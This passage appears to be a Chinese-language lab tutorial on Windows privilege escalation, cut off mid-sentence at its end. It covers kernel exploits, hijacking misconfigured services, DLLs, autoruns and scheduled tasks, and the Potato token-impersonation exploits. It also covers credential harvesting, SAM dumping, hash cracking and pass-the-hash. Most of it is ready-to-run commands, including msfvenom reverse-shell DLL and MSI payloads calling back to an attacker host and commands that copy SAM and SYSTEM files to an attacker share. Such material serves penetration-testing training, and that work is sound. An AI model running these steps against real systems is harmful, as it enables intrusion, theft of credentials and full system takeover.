accesschk.exe 是一款老舊但可靠的工具,用于檢查用戶的訪問控制權限(access control rights)。 可使用它檢查用戶或組對文件、目錄、服務和注冊表項的訪問權限。 缺點:該工具的較新版本會彈出圖形界面(GUI)的 “接受 EULA” 彈窗;在命令行中使用時,需選擇仍支持/accepteula
命令行選項的舊版本。
Kernel Exploits(內核漏洞利用)
什么是 Kernel(內核)?
Kernel 是任何操作系統的核心,可視為應用程序(application software)與計算機硬件(computer hardware)之間的中間層。 Kernel 完全控制操作系統,利用 Kernel 漏洞可獲取 SYSTEM user 權限。
查找 Kernel Exploits
查找和使用 Kernel 漏洞利用通常步驟簡單:
-
枚舉 Windows 版本 / 補丁級別(使用
systeminfo
命令) -
查找匹配的漏洞利用(通過 Google、ExploitDB、GitHub)
-
編譯并運行漏洞利用程序
需注意:Kernel 漏洞利用通常穩定性較差,可能是 “一次性” 的(one-shot),甚至可能導致系統崩潰(system crash)。
相關工具
-
Windows Exploit Suggester:GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation
-
預編譯 Kernel 漏洞利用(Precompiled Kernel Exploits):GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平臺提權漏洞集合
-
Watson:GitHub - rasta-mouse/Watson: Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities
權限提升步驟(注:以下步驟適用于 Windows 7)
-
提取
systeminfo
命令的輸出:
cmd
> systeminfo > systeminfo.txt
-
運行 wesng 查找潛在漏洞利用:
bash
# python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less
-
交叉驗證結果與預編譯漏洞利用:GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平臺提權漏洞集合
-
下載針對 CVE-2018-8210 的預編譯漏洞利用程序到 Windows 虛擬機: windows-kernel-exploits/CVE-2018-8120/x64.exe at master · SecWiki/windows-kernel-exploits · GitHub
-
在 Kali 上啟動監聽器(listener),運行漏洞利用程序,并指定反向 shell 可執行文件(該 shell 將以 SYSTEM 權限運行):
cmd
> .\x64.exe C:\PrivEsc\reverse.exe
Service Exploits(服務漏洞利用)
服務(Services)
服務是在后臺運行的程序,可接收輸入或執行定期任務。 若服務以 SYSTEM 權限運行且存在配置錯誤,利用這些配置錯誤可能獲取 SYSTEM 權限的命令執行(command execution)。
服務相關命令
-
查詢服務配置:
cmd
> sc.exe qc <服務名>
-
查詢服務當前狀態:
cmd
> sc.exe query <服務名>
-
修改服務配置選項:
cmd
> sc.exe config <服務名> <選項>= <值>
-
啟動 / 停止服務:
cmd
> net start/stop <服務名>
服務配置錯誤類型
-
不安全的服務屬性(Insecure Service Properties)
-
未加引號的服務路徑(Unquoted Service Path)
-
薄弱的注冊表權限(Weak Registry Permissions)
-
不安全的服務可執行文件(Insecure Service Executables)
-
DLL 劫持(DLL Hijacking)
不安全的服務權限(Insecure Service Permissions)
每個服務都有一個 ACL,用于定義特定于服務的權限。
-
部分權限無風險(如
SERVICE_QUERY_CONFIG
、SERVICE_QUERY_STATUS
) -
部分權限有利用價值(如
SERVICE_STOP
、SERVICE_START
) -
部分權限風險極高(如
SERVICE_CHANGE_CONFIG
、SERVICE_ALL_ACCESS
)
若你的用戶擁有修改某服務配置的權限,且該服務以 SYSTEM 權限運行,則可將服務使用的可執行文件替換為自己的文件。
注意陷阱(Potential Rabbit Hole):若你能修改服務配置,但無法停止 / 啟動服務,則無法實現權限提升!
權限提升步驟
-
運行 winPEAS 檢測服務配置錯誤:
cmd
> .\winPEASany.exe quiet servicesinfo
-
記錄可修改的 “daclsvc” 服務
-
使用 accesschk.exe 確認權限:
cmd
> .\accesschk.exe /accepteula -uwcqv user daclsvc
-
查詢該服務的當前配置:
cmd
> sc qc daclsvc
-
查詢該服務的當前狀態:
cmd
> sc query daclsvc
-
重新配置服務,使其使用你的反向 shell 可執行文件:
cmd
> sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
-
在 Kali 上啟動監聽器,然后啟動服務觸發漏洞利用:
cmd
> net start daclsvc
未加引號的服務路徑(Unquoted Service Path)
在 Windows 中,可執行文件運行時可省略擴展名(如whoami.exe
可直接通過whoami
運行)。 部分可執行文件需要參數(arguments),參數以空格分隔(如someprog.exe arg1 arg2 arg3…
)。
這種特性會導致:當使用未加引號且包含空格的絕對路徑時,路徑解析會產生歧義。
以以下未加引號的路徑為例:C:\Program Files\Some Dir\SomeProgram.exe
-
對用戶而言,顯然是運行
SomeProgram.exe
-
對 Windows 而言,可能將
C:\Program
視為可執行文件,將 “Files\Some” 和 “Dir\SomeProgram.exe” 視為參數
Windows 會按順序檢查所有可能的解析結果。若你能向 Windows 解析順序中優先于實際可執行文件的路徑寫入文件,即可欺騙服務執行你的文件。
權限提升步驟
-
運行 winPEAS 檢測服務配置錯誤:
cmd
> .\winPEASany.exe quiet servicesinfo
-
記錄 “unquotedsvc” 服務 —— 其路徑未加引號且包含空格:
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
-
使用
sc
命令確認:
cmd
> sc qc unquotedsvc
-
使用 accesschk.exe 檢查寫入權限:
cmd
> .\accesschk.exe /accepteula -uwdq C:\ > .\accesschk.exe /accepteula -uwdq "C:\Program Files\" > .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
-
復制反向 shell 可執行文件,并按需求重命名:
cmd
> copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
-
在 Kali 上啟動監聽器,然后啟動服務觸發漏洞利用:
cmd
> net start unquotedsvc
薄弱的注冊表權限(Weak Registry Permissions)
Windows 注冊表(Registry)中存儲了每個服務的條目。由于注冊表條目可配置 ACL,若 ACL 存在配置錯誤,即使無法直接修改服務,也可能修改服務的配置。
權限提升步驟
-
運行 winPEAS 檢測服務配置錯誤:
cmd
> .\winPEASany.exe quiet servicesinfo
-
記錄 “regsvc” 服務存在薄弱的注冊表條目,使用 PowerShell 確認:
powershell
PS> Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
-
也可使用 accesschk.exe 確認:
cmd
> .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
-
覆蓋
ImagePath
注冊表項,使其指向你的反向 shell 可執行文件:
cmd
> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
-
在 Kali 上啟動監聽器,然后啟動服務觸發漏洞利用:
cmd
> net start regsvc
不安全的服務可執行文件(Insecure Service Executables)
若原始服務可執行文件可被你的用戶修改,只需將其替換為反向 shell 可執行文件即可。
注意:若在真實系統中利用此漏洞,需先備份原始可執行文件!
權限提升步驟
-
運行 winPEAS 檢測服務配置錯誤:
cmd
> .\winPEASany.exe quiet servicesinfo
-
記錄 “filepermsvc” 服務的可執行文件對所有人(everyone)可寫,使用 accesschk.exe 確認:
cmd
> .\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
-
備份原始服務可執行文件:
cmd
> copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp
-
復制反向 shell 可執行文件,覆蓋原始服務可執行文件:
cmd
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
-
在 Kali 上啟動監聽器,然后啟動服務觸發漏洞利用:
cmd
> net start filepermsvc
DLL 劫持(DLL Hijacking)
服務通常會嘗試從動態鏈接庫(DLL,Dynamic-Link Library)加載功能。DLL 提供的功能會以與加載它的服務相同的權限運行。
-
若 DLL 通過絕對路徑加載,且該 DLL 可被你的用戶修改,則可能實現權限提升
-
更常見的可利用配置錯誤:系統中缺少某 DLL,且你的用戶對 Windows 搜索 DLL 的 PATH 路徑中的某個目錄有寫入權限
缺點:初步檢測存在漏洞的服務難度較大,整個過程通常需要手動操作。
-
使用 winPEAS 枚舉非 Windows 服務:
cmd
> .\winPEASany.exe quiet servicesinfo
-
記錄
C:\Temp
目錄可寫且在 PATH 中,先枚舉你的用戶可停止 / 啟動的服務:
cmd
> .\accesschk.exe /accepteula -uvqc user dllsvc
-
“dllsvc” 服務存在 DLL 劫持漏洞,根據 winPEAS 輸出,該服務運行
dllhijackservice.exe
可執行文件,使用
sc
命令手動確認:
cmd
> sc qc dllsvc
-
以管理員權限運行 Procmon64.exe,按
Ctrl+L
打開 “Filter”(篩選)菜單 -
添加篩選條件:“Process Name”(進程名)匹配
dllhijackservice.exe
-
在主界面中,取消選中 “Registry”(注冊表)和 “Network”(網絡)活動
-
啟動服務:
cmd
> net start dllsvc
-
返回 Procmon,查看是否出現多個與
hijackme.dll
相關的 “NAME NOT FOUND”(未找到文件)錯誤 -
觀察到 Windows 會嘗試在
C:\Temp
目錄中查找該 DLL(此前已確認該目錄對當前用戶可寫)
-
在 Kali 上生成名為
hijackme.dll
的反向 shell DLL:
bash
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll
-
將該 DLL 復制到 Windows 虛擬機的
C:\Temp
目錄,在 Kali 上啟動監聽器,然后停止 / 啟動服務觸發漏洞利用:
cmd
> net stop dllsvc > net start dllsvc
Registry(注冊表)相關權限提升
AutoRuns(自動運行項)
Windows 可配置為在啟動時以高權限(elevated privileges)運行命令,這些 “AutoRuns” 項在注冊表中配置。
若你能修改某 AutoRun 可執行文件,且能重啟系統(或等待系統重啟),則可實現權限提升。
權限提升步驟
-
使用 winPEAS 檢測可寫的 AutoRun 可執行文件:
cmd
> .\winPEASany.exe quiet applicationsinfo
-
也可手動枚舉 AutoRun 可執行文件:
cmd
> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
然后使用 accesschk.exe 驗證每個可執行文件的權限:
cmd
> .\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
-
記錄
C:\Program Files\Autorun Program\program.exe
對所有人(Everyone)可寫,先備份原始文件:
cmd
> copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
-
復制反向 shell 可執行文件,覆蓋該 AutoRun 可執行文件:
cmd
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"
-
在 Kali 上啟動監聽器,然后重啟 Windows 虛擬機觸發漏洞利用。
注:在 Windows 10 中,該漏洞利用會以最后登錄用戶的權限運行,因此需先注銷 “user” 賬戶,再以 “admin” 賬戶登錄。
AlwaysInstallElevated
MSI 文件是用于安裝應用程序的包文件,默認以嘗試安裝它的用戶權限運行。 Windows 允許這些安裝程序(installers)以高權限(即 admin 權限)運行。若啟用此配置,可生成包含反向 shell 的惡意 MSI 文件實現權限提升。
實現此漏洞利用的前提:需同時啟用兩個注冊表設置。
-
本地計算機(local machine)的
AlwaysInstallElevated
值需設為 1,路徑:HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
-
當前用戶(current user)的
AlwaysInstallElevated
值需設為 1,路徑:HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
若任一設置缺失或禁用,漏洞利用均無法成功。
權限提升步驟
-
使用 winPEAS 檢測這兩個注冊表值是否已設置:
cmd
> .\winPEASany.exe quiet windowscreds
-
也可手動驗證:
cmd
> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated > reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-
使用 msfvenom 生成 MSI 格式的反向 shell,保存為
.msi
擴展名:
bash
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi
-
將
reverse.msi
復制到 Windows 虛擬機,在 Kali 上啟動監聽器,運行安裝程序觸發漏洞利用:
cmd
> msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
密碼(Passwords)相關權限提升
密碼的作用?
是的,密碼是權限提升的重要突破口。即使是管理員也可能重復使用密碼,或在系統中留下可讀取的密碼。 Windows 在這方面尤其脆弱,因為其部分功能會以不安全的方式存儲密碼。
注冊表中的密碼
許多程序會在 Windows 注冊表中存儲配置選項,Windows 系統本身有時也會在注冊表中以明文(plaintext)形式存儲密碼。 因此,搜索注冊表中的密碼至關重要。
搜索注冊表中的密碼
以下命令用于搜索注冊表中包含 “password” 的鍵(keys)和值(values):
cmd
> reg query HKLM /f password /t REG_SZ /s > reg query HKCU /f password /t REG_SZ /s
該命令通常會生成大量結果,因此更高效的方式是直接查看已知的密碼存儲位置。
權限提升步驟
-
使用 winPEAS 檢測常見的密碼存儲位置:
cmd
> .\winPEASany.exe quiet filesinfo userinfo
注:最后的檢查項可能需要較長時間完成
-
從結果中提取 admin 用戶的自動登錄憑據(AutoLogon credentials)和 Putty 會話憑據(Putty session credentials):用戶名 admin,密碼 password123
-
手動驗證這些憑據:
cmd
> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" > reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
-
在 Kali 上使用
winexe
命令,通過這些憑據生成 shell:
bash
# winexe -U 'admin%password123' //192.168.1.22 cmd.exe
保存的憑據(Saved Creds)
Windows 的runas
命令允許用戶以其他用戶的權限運行命令,通常需要知道目標用戶的密碼。 但 Windows 也允許用戶將憑據保存到系統中,利用這些保存的憑據可繞過密碼驗證。
權限提升步驟
-
使用 winPEAS 檢測保存的憑據:
cmd
> .\winPEASany.exe quiet cmd windowscreds
-
確認存在 admin 用戶的保存憑據
-
手動使用以下命令驗證:
cmd
> cmdkey /list
-
若未找到保存的憑據,運行以下腳本刷新憑據:
cmd
> C:\PrivEsc\savecred.bat
-
利用保存的憑據以 admin 用戶權限運行任意命令:在 Kali 上啟動監聽器,運行反向 shell 可執行文件:
cmd
> runas /savecred /user:admin C:\PrivEsc\reverse.exe
配置文件(Configuration Files)
部分管理員會在系統中留下包含密碼的配置文件,Unattend.xml
就是典型例子 —— 該文件用于實現 Windows 系統的自動化安裝。
搜索配置文件
-
在當前目錄下遞歸搜索名稱包含 “pass” 或擴展名為 “.config” 的文件:
cmd
> dir /s *pass* == *.config
-
在當前目錄下遞歸搜索包含 “password” 且擴展名為
.xml
、
.ini
或
.txt
的文件:
cmd
> findstr /si password *.xml *.ini *.txt
權限提升步驟
-
使用 winPEAS 搜索可能包含憑據的常見文件:
cmd
> .\winPEASany.exe quiet cmd searchfast filesinfo
-
找到
Unattend.xml
文件,查看其內容:
cmd
> type C:\Windows\Panther\Unattend.xml
-
從文件中提取 admin 用戶的密碼(Base64 編碼):
cGFzc3dvcmQxMjM=
-
在 Kali 上解碼該密碼:
bash
# echo "cGFzc3dvcmQxMjM=" | base64 -d
-
再次使用
winexe
命令,以 admin 用戶身份生成 shell。
SAM 文件
Windows 將密碼哈希(password hashes)存儲在安全賬戶管理器(SAM,Security Account Manager)中。 這些哈希使用一個密鑰加密,該密鑰存儲在名為SYSTEM
的文件中。 若你能讀取 SAM 和 SYSTEM 文件,即可提取密碼哈希。
SAM/SYSTEM 文件位置
-
SAM 和 SYSTEM 文件位于
C:\Windows\System32\config
目錄 -
Windows 運行時,這些文件處于鎖定狀態
-
文件備份可能存在于
C:\Windows\Repair
或C:\Windows\System32\config\RegBack
目錄
權限提升步驟
-
在
C:\Windows\Repair
目錄中找到 SAM 和 SYSTEM 文件的備份,確認當前用戶可讀取 -
將文件復制到 Kali:
cmd
> copy C:\Windows\Repair\SAM \\192.168.1.11\tools\ > copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\
-
下載最新版本的 creddump 工具集:
bash
# git clone https://github.com/Neohapsis/creddump7.git
-
運行
pwdump
工具,從 SAM 和 SYSTEM 文件中提取哈希:
bash
# python2 creddump7/pwdump.py SYSTEM SAM
-
使用 hashcat 破解 admin 用戶的哈希:
bash
# hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt
哈希傳遞(Passing the Hash)
Windows 的多個服務支持使用哈希(而非密碼)進行身份驗證。 可使用修改版的winexe
工具(pth-winexe
),通過 admin 用戶的哈希生成命令提示符。
權限提升步驟
-
從之前的步驟中提取 admin 用戶的哈希
-
使用該哈希通過
pth-winexe
生成命令提示符:
bash
# pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
-
使用該哈希通過
pth-winexe
生成 SYSTEM 級別的命令提示符:
bash
# pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
計劃任務(Scheduled Tasks)相關權限提升
計劃任務(Scheduled Tasks)
Windows 可配置計劃任務,使其在特定時間、定期(如每 5 分鐘)或由特定事件(如用戶登錄)觸發時運行。 計劃任務通常以創建者的權限運行,但管理員可配置任務以其他用戶(包括 SYSTEM)的權限運行。
計劃任務相關命令
低權限用戶賬戶無法輕松枚舉其他用戶的自定義計劃任務。
-
列出當前用戶可見的所有計劃任務:
cmd
> schtasks /query /fo LIST /v
-
在 PowerShell 中篩選非 Microsoft 默認任務:
powershell
PS> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
通常需依賴其他線索(如找到指示計劃任務運行的腳本或日志文件)進行枚舉。
權限提升步驟
-
在
C:\DevTools
目錄中找到 PowerShell 腳本
CleanUp.ps1
,查看其內容:
cmd
> type C:\DevTools\CleanUp.ps1
-
確認該腳本每分鐘以 SYSTEM 用戶權限運行,使用 accesschk.exe 檢查當前用戶對該腳本的權限:
cmd
> C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
(確認當前用戶有寫入權限)
-
備份該腳本:
cmd
> copy C:\DevTools\CleanUp.ps1 C:\Temp\
-
在 Kali 上啟動監聽器
-
使用
echo
命令,將反向 shell 可執行文件的調用追加到腳本末尾:
cmd
> echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
-
等待計劃任務運行(每分鐘運行一次),完成漏洞利用。
不安全的 GUI 應用(Insecure GUI Apps,Citrix 方法)
不安全的 GUI 應用
在部分(較舊的)Windows 版本中,用戶可能被授予以管理員權限運行特定 GUI 應用的權限。 通常有多種方法可從 GUI 應用中生成命令提示符(包括使用 Windows 原生功能)。 由于父進程(GUI 應用)以管理員權限運行,生成的命令提示符也會擁有管理員權限。
我將此方法稱為 “Citrix 方法”,因為它使用了許多與突破 Citrix 環境相同的技術。
權限提升步驟
-
使用 “user” 賬戶通過 GUI 登錄 Windows 虛擬機
-
雙擊桌面的 “AdminPaint” 快捷方式
-
打開命令提示符,運行以下命令:
cmd
> tasklist /V | findstr mspaint.exe
(確認
mspaint.exe
以管理員權限運行)
-
在 Paint 中,點擊 “File”(文件)→“Open”(打開)
-
在導航輸入框中,將內容替換為:
file://c:/windows/system32/cmd.exe
-
按 Enter 鍵,會打開一個以管理員權限運行的命令提示符。
啟動應用(Startup Apps)相關權限提升
啟動應用
每個用戶可通過將快捷方式放入特定目錄,定義登錄時自動啟動的應用。 Windows 還存在一個面向所有用戶的啟動目錄: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
若你能在該目錄中創建文件,可放入反向 shell 可執行文件,當管理員登錄時實現權限提升。
需注意:該目錄需使用快捷方式文件(.lnk
)。可使用以下 VBScript 創建快捷方式文件:
vbscript
Set oWS = WScript.CreateObject("WScript.Shell") sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk" Set oLink = oWS.CreateShortcut(sLinkFile) oLink.TargetPath = "C:\PrivEsc\reverse.exe" oLink.Save
權限提升步驟
-
使用 accesschk.exe 檢查 StartUp 目錄的權限:
cmd
> .\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
-
確認
BUILTIN\Users
組對該目錄有寫入權限
-
創建
CreateShortcut.vbs
文件,寫入上述 VBScript 代碼(根據實際路徑調整) -
使用
cscript
運行該腳本:
cmd
> cscript CreateShortcut.vbs
-
在 Kali 上啟動監聽器,然后以 admin 用戶身份登錄,觸發漏洞利用。
已安裝應用(Installed Applications)相關權限提升
已安裝應用
大多數與已安裝應用相關的權限提升,都基于前文已涵蓋的配置錯誤(如不安全的可執行文件、服務配置錯誤等)。 但部分權限提升源于緩沖區溢出(buffer overflows)等漏洞,因此識別已安裝應用及其版本、搜索相關漏洞仍很重要。
相關命令
-
手動枚舉所有運行中的程序:
cmd
> tasklist /v
-
使用 Seatbelt 搜索非標準進程:
cmd
> .\seatbelt.exe NonstandardProcesses
-
使用 winPEAS 枚舉進程(注:
procesinfo
存在拼寫錯誤):
cmd
> .\winPEASany.exe quiet procesinfo
利用 Exploit-DB 查找漏洞
找到目標進程后,嘗試識別其版本(可運行可執行文件并添加/?
或-h
參數,或查看Program Files
目錄中的配置文件 / 文本文件)。 通過 Exploit-DB 搜索對應的漏洞:部分漏洞會提供利用步驟,部分則需要編譯并運行漏洞利用代碼。
Hot Potato 攻擊
Hot Potato 簡介
Hot Potato 是一種結合欺騙攻擊(spoofing attack)和 NTLM 中繼攻擊(NTLM relay attack)的攻擊方法,用于獲取 SYSTEM 權限。
該攻擊欺騙 Windows,使其以 SYSTEM 用戶身份向偽造的 HTTP 服務器發送 NTLM 身份驗證請求,然后將 NTLM 憑據中繼到 SMB 服務,實現命令執行。 該攻擊適用于 Windows 7、Windows 8、Windows 10 早期版本及其對應的服務器版本。
權限提升步驟(注:以下步驟適用于 Windows 7)
-
將
potato.exe
漏洞利用程序復制到 Windows 系統 -
在 Kali 上啟動監聽器
-
運行漏洞利用程序:
cmd
> .\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
-
等待 Windows Defender 更新(或手動觸發更新)。
Token Impersonation(令牌偽造)相關權限提升
服務賬戶(Service Accounts)
課程開頭簡要介紹過服務賬戶:服務賬戶為運行服務而配置特定權限,且無法直接登錄。 但服務賬戶存在多個安全問題,使其成為權限提升的突破口。
Rotten Potato
Rotten Potato 漏洞于 2016 年被發現:服務賬戶可攔截 SYSTEM 令牌(SYSTEM ticket),并利用該令牌偽造 SYSTEM 用戶身份。
該漏洞利用的前提是:服務賬戶通常啟用了SeImpersonatePrivilege
權限。
SeImpersonatePrivilege 與 SeAssignPrimaryTokenPrivilege
服務賬戶通常配置有這兩種權限:
-
允許賬戶偽造其他用戶的訪問令牌(access tokens)(包括 SYSTEM 用戶的令牌)
-
任何擁有這兩種權限的用戶,均可運行本章節介紹的令牌偽造漏洞利用工具
Juicy Potato
Rotten Potato 的利用范圍有限,而 Juicy Potato 的工作原理與 Rotten Potato 相同,但作者通過深入研究擴展了其利用場景。 下載鏈接:GitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.
權限提升步驟(注:以下步驟適用于 Windows 7)
-
將
PSExec64.exe
和JuicyPotato.exe
漏洞利用程序復制到 Windows 系統 -
在 Kali 上啟動監聽器
-
以管理員身份打開命令提示符,使用
PSExec64.exe
生成以 Local Service 賬戶身份運行的反向 shell:
cmd
> C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
-
在 Kali 上啟動另一個監聽器
-
運行
JuicyPotato
漏洞利用程序,生成以 SYSTEM 權限運行的反向 shell:
cmd
> C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d49b8-abc6-03dd84127020}
-
若上述 CLSID(
{03ca…}
)無效,可參考以下列表或運行GetCLSID.ps1
PowerShell 腳本: juicy-potato/CLSID/README.md at master · ohpe/juicy-potato · GitHub
Rogue Potato
Rogue Potato 是 “Potato” 系列漏洞利用工具的最新版本:
-
GitHub 鏈接:GitHub - antonioCoco/RoguePotato: Another Windows Local Privilege Escalation from Service Account to System
-
技術博客:No more JuicyPotato? Old story, welcome RoguePotato! – Decoder's Blog
-
預編譯漏洞利用程序:Releases · antonioCoco/RoguePotato · GitHub
權限提升步驟
-
將
PSExec64.exe
和RoguePotato.exe
漏洞利用程序復制到 Windows 系統 -
在 Kali 上設置
socat
轉發器,將 Kali 的 135 端口轉發到 Windows(IP:192.168.1.22)的 9999 端口:
bash
# sudo socat tcp-listen:135,reuseaddr,fork tcp:192.168.1.22:9999
-
在 Kali 上啟動監聽器
-
以管理員身份打開命令提示符,使用
PSExec64.exe
生成以 Local Service 賬戶身份運行的反向 shell:
cmd
> C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
-
在 Kali 上啟動另一個監聽器
-
運行
RoguePotato
漏洞利用程序,生成以 SYSTEM 權限運行的反向 shell(192.168.1.11 為 Kali 的 IP):
cmd
> C:\PrivEsc\RoguePotato.exe -r 192.168.1.11 –l 9999 -e "C:\PrivEsc\reverse.exe"
PrintSpoofer
PrintSpoofer 是一款針對 Print Spooler 服務的漏洞利用工具:
-
GitHub 鏈接:GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"
-
技術博客:PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 | itm4n's blog
權限提升步驟
-
將
PSExec64.exe
和PrintSpoofer.exe
漏洞利用程序復制到 Windows 系統 -
在 Kali 上啟動監聽器
-
以管理員身份打開命令提示符,使用
PSExec64.exe
生成以 Local Service 賬戶身份運行的反向 shell:
cmd
> C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
-
在 Kali 上啟動另一個監聽器
-
運行
PrintSpoofer
漏洞利用程序,生成以 SYSTEM 權限運行的反向 shell:
cmd
> C:\PrivEsc\PrintSpoofer.exe –i -c "C:\PrivEsc\reverse.exe"
端口轉發(Port Forwarding)
端口轉發的作用
有時在 Kali 上運行漏洞利用代碼更便捷,但目標漏洞程序可能僅監聽 Windows 的內部端口。 這種情況下,需將 Kali 的某個端口轉發到 Windows 的內部端口,可使用plink.exe
工具(來自 PuTTY 的開發團隊)實現。
plink.exe 的使用
使用plink.exe
進行端口轉發的通用命令格式:
cmd
> plink.exe <用戶名>@<KaliIP> -R <Kali端口>:<目標IP>:<目標端口>
注:
<目標IP>
通常為本地 IP(如 127.0.0.1)。plink.exe
需要通過 SSH 連接到 Kali,然后利用 SSH 隧道實現端口轉發。
權限提升步驟
-
首先驗證能否通過
winexe
遠程登錄:
bash
# winexe -U 'admin%password123' //192.168.1.22 cmd.exe
-
以管理員身份打開命令提示符,重新啟用防火墻:
cmd
> netsh advfirewall set allprofiles state on
-
確認此時
winexe
命令已無法成功登錄
-
將
plink.exe
文件復制到 Windows 系統,然后停止 Kali 上的 SMB 服務器(若正在運行) -
確保 Kali 的 SSH 服務器已啟動且允許 root 登錄:檢查
/etc/ssh/sshd_config
文件中PermitRootLogin yes
選項是否已取消注釋,必要時重啟 SSH 服務 -
在 Windows 上運行
plink.exe
,將 Kali 的 445 端口轉發到 Windows 的 445 端口:
cmd
> plink.exe root@192.168.1.11 -R 445:127.0.0.1:445
-
在 Kali 上修改
winexe
命令,將目標 IP 改為
localhost
(或 127.0.0.1),通過端口轉發獲取 shell:
bash
# winexe -U 'admin%password123' //localhost cmd.exe
getsystem(命名管道與令牌復制)
訪問令牌(Access Tokens)
訪問令牌是 Windows 中的特殊對象,用于存儲用戶的身份(identity)和權限(privileges),分為兩種類型:
-
主訪問令牌(Primary Access Token):用戶登錄時創建,與當前用戶會話綁定;用戶啟動新進程時,主訪問令牌會被復制并附加到新進程
-
模擬訪問令牌(Impersonation Access Token):進程或線程需要臨時以其他用戶的安全上下文(security context)運行時創建
令牌復制(Token Duplication)
Windows 允許進程 / 線程復制其訪問令牌,模擬訪問令牌可通過此功能復制為主訪問令牌。 若能注入到某個進程中,即可利用此功能復制該進程的訪問令牌,并生成擁有相同權限的獨立進程。
命名管道(Named Pipes)
你可能已熟悉 Windows 和 Linux 中的 “管道”(pipe)概念(如> systeminfo | findstr Windows
)。 命名管道是管道概念的擴展:一個進程可創建命名管道,其他進程可打開該管道進行讀寫操作。 創建命名管道的進程可模擬連接到該管道的進程的安全上下文。
getsystem 簡介
Metasploit 的 Meterpreter shell 中的getsystem
命令具有近乎 “神話” 的地位 —— 只需運行此簡單命令,權限通常就能提升到 SYSTEM user。
getsystem
的實際工作原理是什么?
getsystem 的實現原理
getsystem
命令的源代碼可在以下鏈接查看: metasploit-payloads/c/meterpreter/source/extensions/priv at d672097e9989e0b4caecfad08ca9debc8e50bb0c · rapid7/metasploit-payloads · GitHub
需重點查看三個文件:elevate.c
、namedpipe.c
、tokendup.c
。
getsystem
通過三種技術實現 “獲取 SYSTEM 權限”:
技術 1:命名管道模擬(In Memory/Admin)
-
創建由 Meterpreter 控制的命名管道
-
創建以 SYSTEM 權限運行的服務,該服務運行的命令直接與命名管道交互
-
Meterpreter 模擬連接到管道的進程,獲取擁有 SYSTEM 安全上下文的模擬訪問令牌
-
將該訪問令牌分配給后續所有 Meterpreter 線程,使線程以 SYSTEM 權限運行
技術 2:命名管道模擬(Dropper/Admin)
與 “命名管道模擬(In Memory/Admin)” 非常相似,唯一區別是:會將一個 DLL 寫入磁盤,并創建以 SYSTEM 權限運行該 DLL 的服務,由該 DLL 連接到命名管道。
技術 3:令牌復制(In Memory/Admin)
-
該技術需要
SeDebugPrivilege
權限 -
查找以 SYSTEM 權限運行的服務,向其注入 DLL
-
該 DLL 復制服務的訪問令牌,并將其分配給 Meterpreter
-
目前該技術僅支持 x86 架構
-
這是唯一無需創建服務、完全在內存中運行的技術
總結(Summary)
-
getsystem
是專為從本地管理員(local admin)提升到 SYSTEM 權限設計的工具 -
命名管道技術需要本地管理員權限
-
令牌復制技術僅需要
